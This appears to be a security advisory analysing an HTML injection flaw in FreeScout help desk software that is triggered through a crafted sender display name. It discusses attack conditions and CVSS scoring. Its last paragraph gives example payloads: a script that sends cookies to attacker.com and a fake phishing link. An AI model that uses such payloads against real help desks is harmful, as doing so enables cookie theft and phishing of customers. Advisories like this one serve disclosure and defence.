FreeScout EUVD-2026-24168

The attack requires: (1) the target FreeScout instance to accept inbound emails from external sources (standard configuration for help desk software), (2) a support agent to open and reply to the crafted email (user interaction by support staff, not the attacker), and (3) the outgoing reply email to be rendered with HTML enabled in the recipient's email client (standard for most email clients). No special FreeScout configuration, feature enablement, or authentication is required from the attacker's perspective. The vulnerability exists in default configurations and affects any FreeScout instance with external email ingestion enabled. The limiting factor is user interaction: a support agent must initiate a reply for the injected HTML to be sent to the customer, so automated or silent exploitation is not possible. However, this is a low friction requirement in active help desk environments where agents regularly respond to inbound tickets.

CVSS score of 5.8 (Medium) with network access, low complexity, and no authentication required correctly reflects the ease of exploitation. The integrity impact (I:L) is appropriate for HTML injection enabling phishing and content spoofing. However, the scope change (S:C) may overstate impact in email context since the injected HTML affects email recipients, not the FreeScout application itself. EPSS or KEV status is not provided, preventing assessment of real-world exploitation prevalence. The attack requires user interaction from support agents (they must reply to the crafted email), which reduces raw severity. Real-world risk is moderate: an attacker can compromise email thread integrity and customer trust by injecting phishing links into seemingly legitimate support communications, but the attack does not execute code on the server or steal data directly. The lack of authentication requirement and straightforward exploit method (send email with crafted From name) make this a practical attack against any FreeScout instance receiving external emails. Organizations with strict email content filtering or those using email clients that disable HTML rendering mitigate this risk significantly.

An attacker sends a phishing email to a FreeScout support inbox with a crafted From display name such as 'Customer <img src=x onerror="fetch(attacker.com/steal?cookie=" + document.cookie + ")">' or 'Support Team Member <a href="https://phishing-site.com">Verify Your Account</a>'. When a FreeScout support agent opens the ticket and replies with an auto-generated response that includes the customer's name in the signature, the injected HTML renders in the outgoing email. The recipient (actual customer) receives what appears to be a legitimate support reply from the organization but containing injected phishing links or malicious scripts, compromising trust and enabling credential theft or malware delivery.